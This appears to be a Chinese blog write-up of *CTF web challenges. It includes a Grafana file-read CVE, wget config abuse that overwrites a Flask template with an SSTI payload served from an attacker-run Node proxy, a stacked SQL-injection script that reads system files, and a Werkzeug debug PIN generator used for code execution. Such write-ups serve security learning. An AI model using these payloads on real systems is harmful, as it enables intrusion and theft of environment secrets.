*ctf

*ctf

3道python题,有点烦(感觉质量不是很高)。

oh-my-grafana

一个CVE,任意文件读:https://github.com/jas502n/Grafana-CVE-2021-43798
读了半天,才发现需要读/etc/grafana.ini。里面的有admin密码。得到密码直接登录。然后进入MySQL里面,可以直接执行SQL语句。flag在数据库里面。

oh-my-lotto

先来个非预期。看源码,有个命令执行:

os.system('wget --content-disposition -N lotto')

通过写入环境变量来预测。这个命令的意思是获取lotto那个docker生成的新的随机数。然后我想了一个邪恶的方式,能不能直接让wget执行不了,然后随机数就一直不变了。所以解题步骤:
先随便写个环境变量,让他先生成随机数(为什么不能直接让它随机数也不生成,然后结果就默认为result?因为pythonb'result' != 'result'XD)。


注意这里的分隔符不是空格,而是回车。所以把这些数写到本地文件。然后上传forecast。然后lotto这里,写入环境变量PATH=1,直接把wget干没,就一直更新不了随机数,所以就可以出了。

oh-my-lotto-revenge

同样有点非预期。这回得正常找一波wget的环境变量了。直接看一手官方文档:https://xy2401.com/local-docs/gnu/manual.zh/wget.html#Wgetrc-Location
然后可以看到WGETRC


然后里面有些配置是有用的:

http_proxy =string
使用string作为HTTP代理,而不是环境中指定的代理。
post_file =file
使用POST作为所有HTTP请求的方法,并发送以下内容file在请求正文中。与“ --post-file=file '。
output_document =file
设置输出文件名-与' -O file '。

根据docker文件,知道我们需要读取环境变量。但是用post_file不能将/proc/self/environ读取。但是可以用output_document进行文件写。在源码那里可以看到有个templates文件夹。于是打算修改html进行ssti。经过多次尝试,发现只有result.html可以进行ssti。因为别的html都是在修改前加载的,但是result.html只要先不访问,就不加载。所以等我们修改之后再加载就可以ssti了。具体做法:
先写一个1.txt:

http_proxy=http://47.96.173.116:2333/
output_document=/app/templates/result.html

然后上传。在服务器上启动一个http代理服务。

const http = require("http"),
    httpProxy = require("http-proxy");

httpProxy
    .createProxyServer({ target: "http://localhost:6666/" })
    .listen(2333); // See (†)

http
    .createServer(function (req, res) {
        res.writeHead(200, { "Content-Type": "text/plain" });
        let body = [];
        req
            .on("data", (chunk) => {
                body.push(chunk);
            })
            .on("end", () => {
                let result = Buffer.concat(body).toString("base64");
                console.log(
                    "--------------------------------------------------------------------------"
                );
                console.log(result);
                console.log(
                    "--------------------------------------------------------------------------"
                );
            });
        res.write(
            `{% extends "base.html" %}

        {% block body %}
        <div class="main">
            <div class="message-card nes-container with-title is-centered is-dark">
                <p class="title">*CTF LOTTO</p>
                <p>
                    {{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat /proc/self/environ")["read"]()}}
                    This is last turn lotto result, maybe it can help you to forecast next turn. :)
                </p>

                {% if message%}
                <p>{{message}}</p>
                {% endif %}
            </div>

        </div>
        <div class="empty"></div>
        <div class="footer">© *CTF</div>
        {% endblock %}`
    );
        res.end();
    })
    .listen(6666);

lotto页面写环境变量:WGETRC=/app/guess/forecast.txt
然后再访问result就可以得到flag。

oh-my-notepro

在view这里的note_id有个sql注入。然后直接sqlmap把整个库dump下来。可以发现有很多人读文件到表里面(有一次直接看到app.py源码了)。直接抄一波作业(打同一个环境太内个了),google一手读文件到表,就可以找到

load data infile 'd:\sql.txt' into table phone;

但是如果直接联合注入是一直报错的,所以用一手堆叠注入就行。但是必须是存在的表才能写入,而且环境会按时删表,所以来一个create table就行。读文件脚本:

import random
import requests

url = 'http://121.37.153.47:5002/view?note_id=1\''
cookies = {'session': 'eyJjc3JmX3Rva2VuIjoiM2EwZWUyNjEyNzFjMTg4ZDJmODhmMDVlZDlkZjY2NmJiMTJkODlkOSIsInVzZXJuYW1lIjoiYXNkIn0.Yl0TYg.TT7nnsvyJpIeaa14_QydKDVgYg0'}

filename = ['/proc/self/cgroup', '/etc/machine-id', '/proc/self/cgroup']
for i in range(0,3):
    name = 'a'+ str(int(random.random() * 1000))
    payload = "union select 1,2,3,4,5;create table {}(data varchar(1024));load data local infile '{}' into table {}%23".format(name, filename[i], name)
    temp = url + payload
    res = requests.get(url=temp, cookies=cookies)
    payload = "union select 1,2,3,4,(select group_concat(data) from {})%23".format(name)
    temp = url + payload
    res = requests.get(url=temp, cookies=cookies)
    print(res.text)

能读文件,还有debug,肯定是打pin码进行rce。https://chowdera.com/2022/03/202203230422567565.html
将上面读取的东西写到脚本里面,其中machine_id那里填machine_id+cgroup里docker那里的id

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485378285571',# /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '1cc402dd0e11d5ae18db04a6de87223d64e3590a3547473bc06c0458b72d88c8fe216958c139bedf2d3d488af80cd7e7'# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后就可以进行rce了。

import os
os.popen('/readflag').read()

可惜肝到凌晨4点,太累了,该死的环境原来mac地址会变,而且一开始cgroup那里的值没拿对,导致pin码错。后来太困直接睡了,但是有个大佬还在肝,最后弄对pin码了,结果那个sb靶机执行代码直接报错,就没写了。比赛结束后换了个网址就通了。怎么说呢,这次比赛属实是质量不是很高,签到题web就是硬找文件,没啥意思,然后lotto就是一堆非预期,最后这个pin码太搞心态了,mac地址会变不说,而且还有一个环境都崩了也不修,太拉了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇